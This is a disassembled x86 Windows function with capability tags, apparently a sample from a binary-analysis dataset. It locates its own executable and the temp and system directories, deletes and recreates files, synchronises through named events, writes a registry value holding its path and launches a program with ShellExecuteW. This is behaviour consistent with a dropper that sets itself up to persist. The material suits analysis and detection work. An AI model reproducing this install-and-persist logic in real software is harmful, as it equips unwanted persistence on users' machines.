Function at 0x401680
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
mov eax, 0x1c4c
call fcn.004155b0
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x1c44], eax
push ebx
push ebp
push esi
push edi
push 0x206
xor ebx, ebx
lea ecx, [esp + 0x826]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x82c], ax
call fcn.0040f4e0
add esp, 0xc
push 0x206
lea eax, [esp + 0x124e]
xor edx, edx
push ebx
push eax
mov word [esp + 0x1254], dx
call fcn.0040f4e0
add esp, 0xc
push 0x206
lea edx, [esp + 0x1046]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x104c], cx
call fcn.0040f4e0
xor eax, eax
add esp, 0xc
push 0x7e
lea edx, [esp + 0x7a6]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x66c], ax
mov dword [esp + 0x66e], eax
mov dword [esp + 0x672], eax
mov dword [esp + 0x676], eax
mov dword [esp + 0x67a], eax
mov dword [esp + 0x67e], eax
mov dword [esp + 0x682], eax
mov dword [esp + 0x686], eax
mov word [esp + 0x68a], ax
mov word [esp + 0x7ac], cx
call fcn.0040f4e0
add esp, 0xc
push 0x7e
lea ecx, [esp + 0x726]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x72c], ax
call fcn.0040f4e0
add esp, 0xc
push 0x7e
lea eax, [esp + 0x6a6]
xor edx, edx
push ebx
push eax
mov dword [esp + 0x1c], ebx
mov word [esp + 0x6ac], dx
call fcn.0040f4e0
add esp, 0xc
push 0x206
lea edx, [esp + 0xc36]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0xc3c], cx
call fcn.0040f4e0
add esp, 0xc
xor eax, eax
mov word [esp + 0x680], ax
mov dword [esp + 0x682], eax
mov dword [esp + 0x686], eax
mov dword [esp + 0x68a], eax
mov dword [esp + 0x68e], eax
mov dword [esp + 0x692], eax
mov dword [esp + 0x696], eax
mov dword [esp + 0x69a], eax
push 0x200
lea ecx, [esp + 0x2c]
push ebx
push ecx
mov word [esp + 0x6aa], ax
xor ebp, ebp
mov dword [esp + 0x28], ebx
call fcn.0040f4e0
add esp, 0xc
push 1
lea edi, [esp + 0x2c]
call fcn.00406130
add esp, 4
mov esi, eax
push ebx
lea edi, [esp + 0x464]
mov dword [esp + 0x24], esi
call fcn.00406130
add esp, 4
push 0x104
lea edx, [esp + 0x124c]
push edx
push ebx
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x820]
push eax
push 0x104
call edi
push 0x41dcb0
lea ecx, [esp + 0x824]
push 0x104
push ecx
call fcn.0040a5cb
lea eax, [esp + 0x82c]
add esp, 0xc
lea ecx, [eax + 2]
lea ecx, [ecx]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x401890
sub eax, ecx
sar eax, 1
je 0x4018c2
lea edx, [esp + 0x820]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4018c2
lea eax, [esp + 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test esi, esi
je 0x401b9e
lea ecx, [esp + 0x820]
push ecx
push 0x104
call edi
lea edx, [esp + 0x1b0]
push edx
lea eax, [esp + 0x824]
push 0x104
push eax
call fcn.0040a5cb
add esp, 0xc
push 0x41dcc8
lea ecx, [esp + 0x824]
push 0x104
push ecx
call fcn.0040a5cb
lea eax, [esp + 0x82c]
add esp, 0xc
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401920
sub eax, edx
sar eax, 1
je 0x401990
lea edx, [esp + 0x820]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401990
xor eax, eax
jmp 0x401950
movzx ecx, word [esp + eax + 0x1b0]
mov word [esp + eax + 0x228], cx
add eax, 2
test cx, cx
jne 0x401950
push 0x41dcc8
lea eax, [esp + 0x22c]
push 0x104
push eax
call fcn.0040a5cb
add esp, 0xc
lea ecx, [esp + 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x1d0]
push edx
lea eax, [esp + 0x664]
push 0x10
push eax
call fcn.0040a674
add esp, 0xc
lea edi, [esp + 0x820]
lea esi, [esp + 0x1d0]
call fcn.00403700
call fcn.00402170
cmp eax, 1
jne 0x4019ce
xor eax, eax
jmp 0x402153
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0xa32]
push edx
mov word [esp + 0xa34], cx
call fcn.0040f4e0
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xe42]
push ecx
mov word [esp + 0xe44], ax
call fcn.0040f4e0
add esp, 0xc
xor eax, eax
movzx ecx, word [esp + eax + 0x1d0]
mov word [esp + eax + 0xa28], cx
add eax, 2
test cx, cx
jne 0x401a10
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x1d0]
mov word [esp + eax + 0xe38], cx
add eax, 2
test cx, cx
jne 0x401a30
lea eax, [esp + 0xe38]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401a52
mov edx, dword [0x41dcd4]
mov ecx, dword [0x41dcd8]
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [eax], edx
mov edx, dword [0x41dcdc]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
lea eax, [esp + 0xa28]
push eax
push 0
push 0x20000
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x401af5
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
lea ecx, [esp + 0xe38]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea edx, [esp + 0xa28]
push edx
xor esi, esi
push esi
push 0x20000
call edi
test eax, eax
je 0x401af5
lea esp, [esp]
cmp esi, 5
jge 0x401af5
push eax
call ebx
push 0x1f4
inc esi
call ebp
lea eax, [esp + 0xa28]
push eax
push 0
push 0x20000
call edi
test eax, eax
jne 0x401ad0
push 0x3e8
call ebp
lea ecx, [esp + 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xae]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x401b10
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x2c]
mov word [esp + eax + 0x720], cx
add eax, 2
test cx, cx
jne 0x401b30
movzx edx, word [esp + 0xac]
mov dword [esp + 0x10], edx
xor eax, eax
jmp 0x401b60
movzx ecx, word [esp + eax + 0xce]
mov word [esp + eax + 0x6a0], cx
add eax, 2
test cx, cx
jne 0x401b60
movzx ebx, word [esp + 0x14e]
mov ebp, dword [esp + 0x1f0]
lea eax, [esp + 0x1b0]
push eax
push 0x10
lea ecx, [esp + 0x688]
push ecx
jmp 0x401c4b
cmp dword [0x423070], 3
jne 0x401c53
push 0x236
lea edx, [esp + 0x22c]
push 0
push edx
call fcn.0040f4e0
add esp, 0xc
lea esi, [esp + 0x228]
call fcn.00403e30
mov dword [esp + 0x1c], eax
test eax, eax
je 0x401c53
xor eax, eax
jmp 0x401be0
movzx ecx, word [esp + eax + 0x336]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x401be0
mov ecx, dword [esp + 0x32e]
lea esi, [esp + 0x720]
call fcn.00403370
movzx eax, word [esp + 0x332]
mov ecx, dword [esp + 0x328]
lea esi, [esp + 0x6a0]
mov dword [esp + 0x10], eax
call fcn.00403370
movzx ebx, word [esp + 0x32c]
mov ebp, dword [esp + 0x230]
lea ecx, [esp + 0x356]
push ecx
push 0x10
lea edx, [esp + 0x668]
push edx
call fcn.0040a674
add esp, 0xc
mov edi, dword [esp + 0x24]
test edi, edi
je 0x401d80
xor eax, eax
jmp 0x401c70
movzx ecx, word [esp + eax + 0x4e6]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x401c70
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x464]
mov word [esp + eax + 0x720], cx
add eax, 2
test cx, cx
jne 0x401c90
movzx eax, word [esp + 0x4e4]
mov dword [esp + 0x10], eax
xor eax, eax
jmp 0x401cc0
movzx ecx, word [eax + 0x41dc8c]
mov word [esp + eax + 0x6a0], cx
add eax, 2
test cx, cx
jne 0x401cc0
cmp dword [0x423070], 3
movzx ebx, word [esp + 0x586]
mov ebp, 5
je 0x401d02
lea ecx, [esp + 0xc30]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x401d2f
push 0x104
lea edx, [esp + 0xc34]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41dc60
lea eax, [esp + 0xc34]
push 0x104
push eax
call fcn.0040a5cb
add esp, 0xc
xor eax, eax
jmp 0x401d40
movzx ecx, word [esp + eax + 0xc30]
mov word [esp + eax + 0x1040], cx
add eax, 2
test cx, cx
jne 0x401d40
push 0x41dce0
lea ecx, [esp + 0x1044]
push 0x104
push ecx
call fcn.0040a5cb
add esp, 0xc
lea edx, [esp + 0x1040]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.0040f4e0
mov esi, 0x504d534d
mov ecx, 0x51
add esp, 0xc
mov dword [esp + 0x28], esi
mov word [esp + 0xac], cx
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x41dc64]
mov word [esp + eax + 0x2c], cx
add eax, 2
test cx, cx
jne 0x401db0
mov edx, 0x2b66
mov word [esp + 0x14e], dx
xor eax, eax
jmp 0x401de0
movzx ecx, word [eax + 0x41dc8c]
mov word [esp + eax + 0xce], cx
add eax, 2
test cx, cx
jne 0x401de0
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x41dc80]
mov word [esp + eax + 0xae], cx
add eax, 2
test cx, cx
jne 0x401e00
cmp dword [esp + 0x20], 0
mov dword [esp + 0x1f0], 5
jne 0x401e34
cmp dword [esp + 0x1c], 0
jne 0x401e34
test edi, edi
je 0x401eaa
lea eax, [esp + 0x7a0]
push eax
lea ecx, [esp + 0xb2]
push 0x10
push ecx
call fcn.0040a674
add esp, 0xc
lea edx, [esp + 0x720]
push edx
lea eax, [esp + 0x30]
push 0x40
push eax
call fcn.0040a674
mov cx, word [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x6a0]
push edx
lea eax, [esp + 0xd2]
push 0x40
push eax
mov word [esp + 0xb8], cx
call fcn.0040a674
add esp, 0xc
mov word [esp + 0x14e], bx
mov dword [esp + 0x1f0], ebp
test ebp, ebp
jne 0x401eaa
mov dword [esp + 0x1f0], 5
cmp word [esp + 0x2c], 0
je 0x40214e
cmp word [esp + 0xac], 0
jbe 0x40214e
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040a6e3
add esp, 4
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [esp + 0x145a]
push edx
mov word [esp + 0x145c], cx
call fcn.0040f4e0
add esp, 0xc
cmp word [esp + 0x150], 0
jne 0x401f2d
lea eax, [esp + 0x1450]
push eax
call fcn.00402d00
add esp, 4
lea ecx, [esp + 0x1450]
push ecx
lea edx, [esp + 0x154]
push 0x10
push edx
call fcn.0040a674
add esp, 0xc
cmp word [esp + 0x170], 0
jne 0x401f62
lea eax, [esp + 0x1450]
push eax
call fcn.00402d00
add esp, 4
lea ecx, [esp + 0x1450]
push ecx
lea edx, [esp + 0x174]
push 0x10
push edx
call fcn.0040a674
add esp, 0xc
cmp word [esp + 0x1b0], 0
jne 0x401f97
lea eax, [esp + 0x1450]
push eax
call fcn.00402d00
add esp, 4
lea ecx, [esp + 0x1450]
push ecx
lea edx, [esp + 0x1b4]
push 0x10
push edx
call fcn.0040a674
add esp, 0xc
cmp word [esp + 0x1d0], 0
jne 0x402001
lea eax, [esp + 0x1450]
push eax
call fcn.00402d00
add esp, 4
lea ecx, [esp + 0x1450]
push ecx
lea edx, [esp + 0x1d4]
push 0x10
push edx
call fcn.0040a674
lea eax, [esp + 0x66c]
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401fd6
sub eax, edx
sar eax, 1
je 0x402001
lea eax, [esp + 0x660]
push eax
lea ecx, [esp + 0x1d4]
push 0x10
push ecx
call fcn.0040a674
add esp, 0xc
lea eax, [esp + 0x680]
lea edx, [eax + 2]
jmp 0x402010
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402010
sub eax, edx
sar eax, 1
je 0x40203b
lea edx, [esp + 0x680]
push edx
lea eax, [esp + 0x194]
push 0x10
push eax
call fcn.0040a674
add esp, 0xc
cmp word [esp + 0x190], 0
jne 0x402070
lea ecx, [esp + 0x1450]
push ecx
call fcn.00402d00
add esp, 4
lea edx, [esp + 0x1450]
push edx
lea eax, [esp + 0x194]
push 0x10
push eax
call fcn.0040a674
add esp, 0xc
cmp dword [esp + 0x1f0], 0
mov dword [esp + 0x1f4], 0x100021a
jne 0x402090
mov dword [esp + 0x1f0], 5
lea ecx, [esp + 0x28]
push ecx
call fcn.004061e0
add esp, 4
test eax, eax
je 0x40214e
lea edi, [esp + 0x820]
lea esi, [esp + 0x1d0]
call fcn.00403700
mov edx, edi
push edx
lea eax, [esp + 0x124c]
call fcn.004028b0
add esp, 4
lea eax, [esp + 0x18]
push eax
push 3
push 0
push 0x41dcf8
push closesocket
mov dword [esp + 0x2c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402133
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4020f4
sub eax, edx
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [esp + 0x18]
push ecx
lea edx, [esp + 0x824]
push edx
push 1
push 0
push 0x41dd64
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402133
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x41ddd8
lea edx, [esp + 0x82c]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, 1
mov ecx, dword [esp + 0x1c54]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040a5bc
add esp, 0x1c4c
ret